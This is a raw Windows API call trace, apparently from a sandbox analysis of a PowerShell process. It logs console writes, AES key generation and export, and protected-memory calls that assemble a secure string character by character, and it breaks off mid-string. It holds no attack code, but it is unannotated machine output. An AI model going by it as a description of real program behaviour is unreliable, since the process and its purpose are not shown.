GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0234.759] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e1910*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24e1910*, lpNumberOfCharsWritten=0x5a2e3e0*=0x4e) returned 1 [0234.760] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0234.760] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0234.761] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0234.761] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0234.761] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0234.762] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0234.762] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0234.762] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0234.763] GetConsoleOutputCP () returned 0x1b5 [0234.763] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.763] GetConsoleOutputCP () returned 0x1b5 [0234.763] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.763] GetConsoleOutputCP () returned 0x1b5 [0234.763] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.763] GetConsoleOutputCP () returned 0x1b5 [0234.764] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.764] GetConsoleOutputCP () returned 0x1b5 [0234.764] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.764] GetConsoleOutputCP () returned 0x1b5 [0234.764] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.764] GetConsoleOutputCP () returned 0x1b5 [0234.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.765] GetConsoleOutputCP () returned 0x1b5 [0234.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.765] GetConsoleOutputCP () returned 0x1b5 [0234.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.765] GetConsoleOutputCP () returned 0x1b5 [0234.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.765] GetConsoleOutputCP () returned 0x1b5 [0234.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.765] GetConsoleOutputCP () returned 0x1b5 [0234.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.766] GetConsoleOutputCP () returned 0x1b5 [0234.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.766] GetConsoleOutputCP () returned 0x1b5 [0234.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.766] GetConsoleOutputCP () returned 0x1b5 [0234.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.766] GetConsoleOutputCP () returned 0x1b5 [0234.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.766] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0234.767] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.767] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e22b4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24e22b4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0234.767] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.767] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0234.768] GetConsoleOutputCP () returned 0x1b5 [0234.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.769] GetConsoleOutputCP () returned 0x1b5 [0234.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.769] GetConsoleOutputCP () returned 0x1b5 [0234.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.769] GetConsoleOutputCP () returned 0x1b5 [0234.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.769] GetConsoleOutputCP () returned 0x1b5 [0234.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.769] GetConsoleOutputCP () returned 0x1b5 [0234.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.770] GetConsoleOutputCP () returned 0x1b5 [0234.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.770] GetConsoleOutputCP () returned 0x1b5 [0234.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.770] GetConsoleOutputCP () returned 0x1b5 [0234.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.770] GetConsoleOutputCP () returned 0x1b5 [0234.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.770] GetConsoleOutputCP () returned 0x1b5 [0234.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.771] GetConsoleOutputCP () returned 0x1b5 [0234.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.771] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0234.771] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.771] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e2768*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24e2768*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0234.772] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.772] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0234.773] GetConsoleOutputCP () returned 0x1b5 [0234.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.773] GetConsoleOutputCP () returned 0x1b5 [0234.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.773] GetConsoleOutputCP () returned 0x1b5 [0234.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.773] GetConsoleOutputCP () returned 0x1b5 [0234.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.773] GetConsoleOutputCP () returned 0x1b5 [0234.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.774] GetConsoleOutputCP () returned 0x1b5 [0234.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.774] GetConsoleOutputCP () returned 0x1b5 [0234.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.774] GetConsoleOutputCP () returned 0x1b5 [0234.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.774] GetConsoleOutputCP () returned 0x1b5 [0234.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.774] GetConsoleOutputCP () returned 0x1b5 [0234.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.775] GetConsoleOutputCP () returned 0x1b5 [0234.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.775] GetConsoleOutputCP () returned 0x1b5 [0234.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.775] GetConsoleOutputCP () returned 0x1b5 [0234.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.775] GetConsoleOutputCP () returned 0x1b5 [0234.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.775] GetConsoleOutputCP () returned 0x1b5 [0234.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.776] GetConsoleOutputCP () returned 0x1b5 [0234.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.776] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0234.776] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.776] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e314c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24e314c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0234.777] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.777] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0234.778] EtwEventActivityIdControl () returned 0x0 [0234.778] EtwEventActivityIdControl () returned 0x0 [0234.778] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.778] EtwEventActivityIdControl () returned 0x0 [0234.778] EtwEventActivityIdControl () returned 0x0 [0234.778] EtwEventActivityIdControl () returned 0x0 [0234.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.780] EtwEventActivityIdControl () returned 0x0 [0234.780] EtwEventActivityIdControl () returned 0x0 [0234.780] EtwEventActivityIdControl () returned 0x0 [0234.782] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0234.784] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997a0) returned 1 [0234.784] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.784] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.784] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24eab24, pdwDataLen=0x5a2e8c4 | out: pbData=0x24eab24*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.784] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.785] EtwEventActivityIdControl () returned 0x0 [0234.785] EtwEventActivityIdControl () returned 0x0 [0234.785] EtwEventActivityIdControl () returned 0x0 [0234.785] SysStringLen (param_1="") returned 0x8 [0234.785] SysStringLen (param_1="R") returned 0x8 [0234.785] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.786] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0234.786] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0234.786] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.786] SysStringLen (param_1="RB") returned 0x8 [0234.786] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.786] SysStringLen (param_1="埄ꠕ』懈확ՠఅ") returned 0x8 [0234.786] SysStringLen (param_1="埄ꠕ』懈확ՠఅ") returned 0x8 [0234.786] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.786] SysStringLen (param_1="RBP") returned 0x8 [0234.786] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.786] SysStringLen (param_1="⦫쒙핏羢￐⸧ό⹮") returned 0x8 [0234.786] SysStringLen (param_1="⦫쒙핏羢￐⸧ό⹮") returned 0x8 [0234.786] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="RBPf") returned 0x8 [0234.787] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="怒殛\틙ʇꍵȁ邗⋢) returned 0x8 [0234.787] SysStringLen (param_1="怒殛\틙ʇꍵȁ邗⋢) returned 0x8 [0234.787] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="RBPfW") returned 0x8 [0234.787] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="ꭌ굧ゆ귒뎴䠖ȁ") returned 0x8 [0234.787] SysStringLen (param_1="ꭌ굧ゆ귒뎴䠖ȁ") returned 0x8 [0234.787] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="RBPfWJ") returned 0x8 [0234.787] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="꾠镲刼㤅蕼൥걨ߡ") returned 0x8 [0234.787] SysStringLen (param_1="꾠镲刼㤅蕼൥걨ߡ") returned 0x8 [0234.787] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.787] SysStringLen (param_1="RBPfWJT") returned 0x8 [0234.787] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.788] SysStringLen (param_1="뵤뉓øꕥ傝玚糵锣") returned 0x8 [0234.788] SysStringLen (param_1="뵤뉓øꕥ傝玚糵锣") returned 0x8 [0234.788] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.788] SysStringLen (param_1="RBPfWJTr") returned 0x8 [0234.788] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.788] SysStringLen (param_1="㶏끰囈榉\嗞⊕) returned 0x8 [0234.788] SysStringLen (param_1="㶏끰囈榉\嗞⊕) returned 0x8 [0234.788] SysStringLen (param_1="㶏끰囈榉\嗞⊕) returned 0x8 [0234.789] SysStringLen (param_1="㶏끰囈榉\嗞⊕) returned 0x10 [0234.789] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.789] SysStringLen (param_1="RBPfWJTrnԚ윙梋符壙") returned 0x10 [0234.789] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.789] SysStringLen (param_1="㶏끰囈榉\嗞•곾⻑쀱뾖ￇ◢㔊≍) returned 0x10 [0234.789] SysStringLen (param_1="㶏끰囈榉\嗞•곾⻑쀱뾖ￇ◢㔊≍) returned 0x10 [0234.789] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.789] SysStringLen (param_1="RBPfWJTrnQ윙梋符壙") returned 0x10 [0234.789] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.789] SysStringLen (param_1="㶏끰囈榉\嗞꾕謋櫔䥀Ḋ얯З≉) returned 0x10 [0234.789] SysStringLen (param_1="㶏끰囈榉\嗞꾕謋櫔䥀Ḋ얯З≉) returned 0x10 [0234.789] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="RBPfWJTrnQc梋符壙") returned 0x10 [0234.790] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞ﺍ২䢕䝱팻Ж≣) returned 0x10 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞ﺍ২䢕䝱팻Ж≣) returned 0x10 [0234.790] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="RBPfWJTrnQcU梋符壙") returned 0x10 [0234.790] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞劕蹩꟬\ಯ錃䖲") returned 0x10 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞劕蹩꟬\ಯ錃䖲") returned 0x10 [0234.790] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="RBPfWJTrnQcU9梋符壙") returned 0x10 [0234.790] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞ን請荼⊱䀳ⴟ갅嫓⋋) returned 0x10 [0234.790] SysStringLen (param_1="㶏끰囈榉\嗞ን請荼⊱䀳ⴟ갅嫓⋋) returned 0x10 [0234.790] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="RBPfWJTrnQcU90符壙") returned 0x10 [0234.791] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="㶏끰囈榉\嗞꾕⥾죺죸࿇츄♔∠) returned 0x10 [0234.791] SysStringLen (param_1="㶏끰囈榉\嗞꾕⥾죺죸࿇츄♔∠) returned 0x10 [0234.791] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="RBPfWJTrnQcU90M壙") returned 0x10 [0234.791] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="㶏끰囈榉\嗞綕ⶀ坈ꅇᷨṝ㾔┯∰) returned 0x10 [0234.791] SysStringLen (param_1="㶏끰囈榉\嗞綕ⶀ坈ꅇᷨṝ㾔┯∰) returned 0x10 [0234.791] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="RBPfWJTrnQcU90Mq") returned 0x10 [0234.791] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.791] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⋜) returned 0x10 [0234.792] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⋜) returned 0x10 [0234.792] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⋜) returned 0x10 [0234.792] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯⋜) returned 0x18 [0234.792] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.792] SysStringLen (param_1="RBPfWJTrnQcU90MqJúϣᭊ䤐鱰ᇮ") returned 0x18 [0234.792] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.792] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯濜䒙摜臯痾ࣳ椈⋊) returned 0x18 [0234.792] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯濜䒙摜臯痾ࣳ椈⋊) returned 0x18 [0234.792] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.792] SysStringLen (param_1="RBPfWJTrnQcU90MqJKϣᭊ䤐鱰ᇮ") returned 0x18 [0234.792] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯럜ﰒ㝙恅散㢃矻≆) returned 0x18 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯럜ﰒ㝙恅散㢃矻≆) returned 0x18 [0234.793] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="RBPfWJTrnQcU90MqJKIᭊ䤐鱰ᇮ") returned 0x18 [0234.793] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ໜﰁꗿ률펑牵묈⋸) returned 0x18 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯ໜﰁꗿ률펑牵묈⋸) returned 0x18 [0234.793] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="RBPfWJTrnQcU90MqJKI5ᭊ䤐鱰ᇮ") returned 0x18 [0234.793] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.793] SysStringLen (param_1="㶏끰囈榉\嗞秊澖訸瑴ꕈ澐Ͽ헯퇜׏
